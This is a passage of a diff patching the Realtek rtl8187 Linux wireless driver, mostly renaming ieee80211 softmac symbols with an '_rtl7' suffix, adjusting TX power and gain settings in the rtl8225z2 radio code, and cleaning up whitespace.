ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *ext); - -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); - -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); + +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern const long ieee80211_wlan_frequencies_rtl7[]; + +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } @@ -1390,4 +1416,5 @@ *d = '\0'; return escaped; } + #endif /* IEEE80211_H */ diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/Makefile rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/Makefile --- rtl8187_linux_26.1010.0622.2006/beta-8187/Makefile 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/Makefile 2008-01-30 17:38:10.000000000 +0100 @@ -18,6 +18,8 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) + all: modules clean: diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_93cx6.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_93cx6.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_93cx6.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_93cx6.c 2008-01-30 17:38:10.000000000 +0100 @@ -87,7 +87,7 @@ u32 eprom_read(struct net_device *dev, u32 addr) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short read_cmd[]={1,1,0}; short addr_str[8]; int i; diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_hw.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_hw.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_hw.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_hw.h 2008-01-30 17:38:11.000000000 +0100 @@ -646,6 +646,7 @@ #define FFER_INTR ((1<<15)) #define FFER_GWAKE ((1<< 4)) - +#define MAX_TX_POWER 27 +#define MIN_TX_POWER 20 #endif diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.c 2008-01-30 17:38:11.000000000 +0100 @@ -173,7 +173,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -208,7 +208,7 @@ { #ifdef USE_8051_3WIRE - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; //u8 bit; u16 wReg80, wReg82, wReg84; @@ -255,7 +255,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -349,7 +349,7 @@ void rtl8225_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int GainIdx; int GainSetting; @@ -454,9 +454,9 @@ void rtl8225_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225_SetTXPowerLevel(dev, ch); @@ -474,7 +474,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -546,7 +546,7 @@ void rtl8225_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.h 2008-01-30 17:38:11.000000000 +0100 @@ -44,3 +44,5 @@ extern u32 rtl8225_chan[]; #endif + +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225z2.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225z2.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225z2.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225z2.c 2008-01-30 17:38:11.000000000 +0100 @@ -2,12 +2,12 @@ This is part of the rtl8180-sa2400 driver released under the GPL (See file COPYING for details). Copyright (c) 2005 Andrea Merello - - This files contains programming code for the rtl8225 + + This files contains programming code for the rtl8225 radio frontend. - + *Many* thanks to Realtek Corp. for their great support! - + */ @@ -32,51 +32,68 @@ }; u8 rtl8225z2_gain_a[]={ - 0x13,0x27,0x5a,//,0x37,// -82dbm - 0x23,0x23,0x58,//,0x37,// -82dbm - 0x33,0x1f,0x56,//,0x37,// -82dbm - 0x43,0x1b,0x54,//,0x37,// -78dbm - 0x53,0x17,0x51,//,0x37,// -74dbm - 0x63,0x24,0x4f,//,0x37,// -70dbm - 0x73,0x0f,0x4c,//,0x37,// -66dbm + 0x13,0x27,0x5a,//,0x37,// -82dbm + 0x23,0x23,0x58,//,0x37,// -82dbm + 0x33,0x1f,0x56,//,0x37,// -82dbm + 0x43,0x1b,0x54,//,0x37,// -78dbm + 0x53,0x17,0x51,//,0x37,// -74dbm + 0x63,0x24,0x4f,//,0x37,// -70dbm + 0x73,0x0f,0x4c,//,0x37,// -66dbm }; #if 0 u32 rtl8225_chan[] = { 0, //dummy channel 0 - 0x085c, //1 - 0x08dc, //2 - 0x095c, //3 - 0x09dc, //4 - 0x0a5c, //5 - 0x0adc, //6 - 0x0b5c, //7 - 0x0bdc, //8 - 0x0c5c, //9 - 0x0cdc, //10 - 0x0d5c, //11 - 0x0ddc, //12 - 0x0e5c, //13 + 0x085c, //1 + 0x08dc, //2 + 0x095c, //3 + 0x09dc, //4 + 0x0a5c, //5 + 0x0adc, //6 + 0x0b5c, //7 + 0x0bdc, //8 + 0x0c5c, //9 + 0x0cdc, //10 + 0x0d5c, //11 + 0x0ddc, //12 + 0x0e5c, //13 //0x0f5c, //14 - 0x0f72, // 14 + 0x0f72, // 14 }; #endif +#if 1 //- -u16 rtl8225z2_rxgain[]={ +u16 rtl8225z2_rxgain[]={ 0x0400, 0x0401, 0x0402, 0x0403, 0x0404, 0x0405, 0x0408, 0x0409, - 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, + 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, 0x0542, 0x0543, 0x0544, 0x0545, 0x0580, 0x0581, 0x0582, 0x0583, - 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, + 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, 0x0645, 0x0680, 0x0681, 0x0682, 0x0683, 0x0684, 0x0685, 0x0688, 0x0689, 0x068a, 0x068b, 0x068c, 0x0742, 0x0743, 0x0744, 0x0745, 0x0780, 0x0781, 0x0782, 0x0783, 0x0784, 0x0785, 0x0788, 0x0789, 0x078a, 0x078b, 0x078c, 0x078d, 0x0790, 0x0791, 0x0792, 0x0793, - 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, - 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, - 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, + 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb }; +#else +u16 rtl8225z2_rxgain[]={ + 0x0000, 0x0001, 0x0002, 0x0003, 0x0004, 0x0005, 0x0008, 0x0009, + 0x000a, 0x000b, 0x0102, 0x0103, 0x0104, 0x0105, 0x0140, 0x0141, + 0x0142, 0x0143, 0x0144, 0x0145, 0x0180, 0x0181, 0x0182, 0x0183, + 0x0184, 0x0185, 0x0188, 0x0189, 0x018a, 0x018b, 0x0243, 0x0244, + 0x0245, 0x0280, 0x0281, 0x0282, 0x0283, 0x0284, 0x0285, 0x0288, + 0x0289, 0x028a, 0x028b, 0x028c, 0x0342, 0x0343, 0x0344, 0x0345, + 0x0380, 0x0381, 0x0382, 0x0383, 0x0384, 0x0385, 0x0388, 0x0389, + 0x038a, 0x038b, 0x038c, 0x038d, 0x0390, 0x0391, 0x0392, 0x0393, + 0x0394, 0x0395, 0x0398, 0x0399, 0x039a, 0x039b, 0x039c, 0x039d, + 0x03a0, 0x03a1, 0x03a2, 0x03a3, 0x03a4, 0x03a5, 0x03a8, 0x03a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb +}; +#endif //2005.11.16, u8 ZEBRA2_CCK_OFDM_GAIN_SETTING[]={ @@ -129,23 +146,30 @@ void rtl8225z2_set_gain(struct net_device *dev, short gain) { u8* rtl8225_gain; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + u8 mode = priv->ieee80211->mode; - - if(mode == IEEE_B || mode == IEEE_G) + + if((mode&IEEE_B) == IEEE_B || (mode&IEEE_G) == IEEE_G) { + //printk(KERN_WARNING "mode ag!\n"); rtl8225_gain = rtl8225z2_gain_bg; - else + } else { rtl8225_gain = rtl8225z2_gain_a; - + //printk(KERN_WARNING "mode a!\n"); + } + //write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 3]); //write_phy_ofdm(dev, 0x19, rtl8225_gain[gain * 3 + 1]); //write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 2]); //2005.11.17, by ch-hsu write_phy_ofdm(dev, 0x0b, rtl8225_gain[gain * 3]); + mdelay(1); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 1]); + mdelay(1); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 3 + 2]); - write_phy_ofdm(dev, 0x21, 0x37); + mdelay(1); + write_phy_ofdm(dev, 0x21, 0x17); + mdelay(1); } @@ -153,33 +177,33 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_8185 == 2) write_phy_ofdm(dev, 0x21, 0x27); else write_phy_ofdm(dev, 0x21, 0x37); - + write_phy_ofdm(dev, 0x25, 0x20); write_phy_ofdm(dev, 0x11, 0x6); - + if(priv->card_8185 == 1 && priv->card_8185_Bversion) write_phy_ofdm(dev, 0x27, 0x8); else write_phy_ofdm(dev, 0x27, 0x88); - + write_phy_ofdm(dev, 0x14, 0); write_phy_ofdm(dev, 0x16, 0); write_phy_ofdm(dev, 0x15, 0x40); write_phy_ofdm(dev, 0x17, 0x40); - + write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 4]); write_phy_ofdm(dev, 0x23, rtl8225_gain[gain * 4 + 1]); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 4 + 2]); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 4 + 3]); - //rtl8225_set_gain_usb(dev, gain); + //rtl8225_set_gain_usb(dev, gain); } #endif @@ -193,7 +217,7 @@ // ThreeWireReg tdata; int i; short bit, rw; - + u8 wLength = 6; u8 rLength = 12; u8 low2high = 0; @@ -207,20 +231,20 @@ dataRead = 0; - oval &= ~0xf; + oval &= ~0xf; write_nic_word(dev, RFPinsOutput, oval | BB_HOST_BANG_EN ); udelay(4); write_nic_word(dev, RFPinsOutput, oval ); udelay(5); - + rw = 0; - + mask = (low2high) ? 0x01 : (((u32)0x01)<<(32-1)); for(i = 0; i < wLength/2; i++) { bit = ((data2Write&mask) != 0) ? 1 : 0; write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(1); - + write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); @@ -233,9 +257,9 @@ write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(2); break; } - + bit = ((data2Write&mask) != 0) ? 1: 0; - + write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); @@ -252,22 +276,22 @@ for(i = 0; i < rLength; i++) { write_nic_word(dev, RFPinsOutput, rw|oval); udelay(1); - + write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); tmp = read_nic_word(dev, RFPinsInput); - + dataRead |= (tmp & BB_HOST_BANG_CLK ? mask : 0); write_nic_word(dev, RFPinsOutput, (rw|oval)); udelay(2); mask = (low2high) ? (mask<<1) : (mask>>1); } - + write_nic_word(dev, RFPinsOutput, BB_HOST_BANG_EN|BB_HOST_BANG_RW|oval); udelay(2); - write_nic_word(dev, RFPinsEnable, oval2); + write_nic_word(dev, RFPinsEnable, oval2); write_nic_word(dev, RFPinsSelect, oval3); // Set To SW Switch write_nic_word(dev, RFPinsOutput, 0x3a0); @@ -280,61 +304,61 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + out = read_nic_word(dev, RFPinsOutput) & 0xfff3; - + write_nic_word(dev,RFPinsEnable, (read_nic_word(dev,RFPinsEnable) | 0x7)); - + select = read_nic_word(dev, RFPinsSelect); - - write_nic_word(dev, RFPinsSelect, select | 0x7 | + + write_nic_word(dev, RFPinsSelect, select | 0x7 | ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); - + force_pci_posting(dev); udelay(10); - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN );//| 0x1fff); - + force_pci_posting(dev); udelay(2); - + write_nic_word(dev, RFPinsOutput, out); - + force_pci_posting(dev); udelay(10); - - + + for(i=15; i>=0;i--){ - + bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out); - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); i--; bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out); } - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN); - + force_pci_posting(dev); udelay(10); - write_nic_word(dev, RFPinsOutput, out | + write_nic_word(dev, RFPinsOutput, out | ((priv->card_type == USB) ? 4 : BB_HOST_BANG_EN)); - write_nic_word(dev, RFPinsSelect, select | - ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); + write_nic_word(dev, RFPinsSelect, select | + ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); if(priv->card_type == USB) mdelay(2); @@ -348,30 +372,30 @@ short vz2 = 1; /* sw to reg pg 1 */ write_rtl8225(dev, 0, 0x1b7); - + /* reg 8 pg 1 = 23*/ if( read_rtl8225(dev, 8) != 0x588) vz2 = 0; - - else /* reg 9 pg 1 = 24 */ + + else /* reg 9 pg 1 = 24 */ if( read_rtl8225(dev, 9) != 0x700) vz2 = 0; - - /* sw back to pg 0 */ + + /* sw back to pg 0 */ write_rtl8225(dev, 0, 0xb7); return vz2; - + } #if 0 void rtl8225_rf_close(struct net_device *dev) { - write_rtl8225(dev, 0x4, 0x1f); - + write_rtl8225(dev, 0x4, 0x1f); + force_pci_posting(dev); mdelay(1); - + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_OFF); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_OFF); } @@ -380,24 +404,24 @@ short rtl8225_rf_set_sens(struct net_device *dev, short sens) { if (sens <0 || sens > 6) return -1; - + if(sens > 4) write_rtl8225(dev, 0x0c, 0x850); - else + else write_rtl8225(dev, 0x0c, 0x50); sens= 6-sens; rtl8225_set_gain(dev, sens); - + write_phy_cck(dev, 0x41, rtl8225_threshold[sens]); return 0; - + } #endif void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + // int GainIdx; // int GainSetting; int i; @@ -406,44 +430,47 @@ u8 max_cck_power_level; //u8 min_cck_power_level; u8 max_ofdm_power_level; - u8 min_ofdm_power_level; + u8 min_ofdm_power_level; u8 cck_power_level = 0xff & priv->chtxpwr[ch]; u8 ofdm_power_level = 0xff & priv->chtxpwr_ofdm[ch]; - - + + max_cck_power_level = 15; //min_cck_power_level = 0; max_ofdm_power_level = 25; // 12 -> 25 min_ofdm_power_level = 10; - + /* CCK power setting */ if(cck_power_level > max_cck_power_level) + { cck_power_level = max_cck_power_level; - + priv->chtxpwr[ch] = max_cck_power_level; + } + cck_power_level += priv->cck_txpwr_base; - + if(cck_power_level > 35) cck_power_level = 35; - - if(ch == 14) + + if(ch == 14) cck_power_table = rtl8225z2_tx_power_cck_ch14; - else + else cck_power_table = rtl8225z2_tx_power_cck; - - + + for(i=0;i<8;i++){ - + power = cck_power_table[i]; write_phy_cck(dev, 0x44 + i, power); } - + //write_nic_byte(dev, TX_GAIN_CCK, power); //2005.11.17, write_nic_byte(dev, TX_GAIN_CCK, ZEBRA2_CCK_OFDM_GAIN_SETTING[cck_power_level]); - + force_pci_posting(dev); mdelay(1); - + /* OFDM power setting */ // Old: // if(ofdm_power_level > max_ofdm_power_level) @@ -454,26 +481,26 @@ ofdm_power_level = max_ofdm_power_level; else ofdm_power_level += min_ofdm_power_level; - + ofdm_power_level += priv->ofdm_txpwr_base; - + if(ofdm_power_level > 35) ofdm_power_level = 35; - + rtl8185_set_anaparam2(dev,RTL8225_ANAPARAM2_ON); - + write_phy_ofdm(dev,2,0x42); write_phy_ofdm(dev,5,0); write_phy_ofdm(dev,6,0x40); write_phy_ofdm(dev,7,0); - write_phy_ofdm(dev,8,0x40); - + write_phy_ofdm(dev,8,0x40); + //write_nic_byte(dev, TX_GAIN_OFDM, ofdm_power_level); //2005.11.17, write_nic_byte(dev, TX_GAIN_OFDM, ZEBRA2_CCK_OFDM_GAIN_SETTING[ofdm_power_level]); - + force_pci_posting(dev); mdelay(1); //write_nic_byte(dev, TX_AGC_CONTROL,4); @@ -483,39 +510,39 @@ void rtl8225_set_mode(struct net_device *dev, short modeb) { write_phy_ofdm(dev, 0x15, (modeb ? 0x0 : 0x40)); - write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); + write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); } #endif void rtl8225z2_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; - + rtl8225z2_SetTXPowerLevel(dev, ch); - + write_rtl8225(dev, 0x7, rtl8225_chan[ch]); - + force_pci_posting(dev); mdelay(10); - + write_nic_byte(dev,SIFS,0x22);// SIFS: 0x22 - + if(gset) - write_nic_byte(dev,DIFS,20); //DIFS: 20 + write_nic_byte(dev,DIFS,20); //DIFS: 20 else - write_nic_byte(dev,DIFS,0x24); //DIFS: 36 - + write_nic_byte(dev,DIFS,0x24); //DIFS: 36 + if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 - + else write_nic_byte(dev,SLOT,0x14); //SLOT: 20 (0x14) - - + + if(gset){ write_nic_byte(dev,EIFS,91 - 20); // EIFS: 91 (0x5B) write_nic_byte(dev,CW_VAL,0x73); //CW VALUE: 0x37 @@ -529,68 +556,68 @@ } #if 0 -void rtl8225_host_pci_init(struct net_device *dev) +void 